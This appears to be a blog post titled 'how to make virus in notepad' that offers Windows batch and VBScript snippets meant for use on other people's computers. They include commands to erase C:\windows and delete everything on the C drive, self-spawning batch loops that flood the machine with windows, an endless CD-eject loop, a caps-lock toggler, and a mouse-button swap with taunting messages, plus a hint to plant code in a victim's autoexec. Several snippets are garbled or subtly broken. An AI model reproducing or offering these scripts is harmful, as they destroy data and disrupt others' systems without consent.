I am waiting all the time for this post, but for some reasons I can’t. So, it’s a special post for all the viewers who are regularly following my blog. So here is “how to make virus in notepad".
Open notepad
TYPE erase c:\windows
And save as
ANYNAME.cmd (Not .txt)
What does it do? : - It will erase c:/windows.
Here is the code that opens multiple windows. It means infinite windows open until continue you restart the computer: save on danger.bat (Not .txt) and code written in notepad is:
@echo off
Copy 0% danger.bat
Start danger.bat
Here is one more simple virus coding. Go to notepad and type the following:
@Echo off
Del C:\ *.*|y
Save it as Del.bat
This code will format complete C drive .
This one code is visual basic script so save in notepad as whateveryouwant.vbs
Set oWMP = CreateObject(”WMPlayer.OCX.7″ )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
end if
WARNING:
Press ctrl + alt + delete and go to processes, and “End wscript.exe” to stop.A code that turns on and off your caps lock repeatedly, this code is also in VBS, end same way as last time, this turns on and off your caps lock every tenth of a second.
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
A batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someone’s autoexe, that would really make them mad)
@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it
Copy and paste the below into notepad and save it as Anyname.bat
Run it, and enjoy anarchy.
Code:
@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START
Don't worry this code will not effect your computer until you click on it.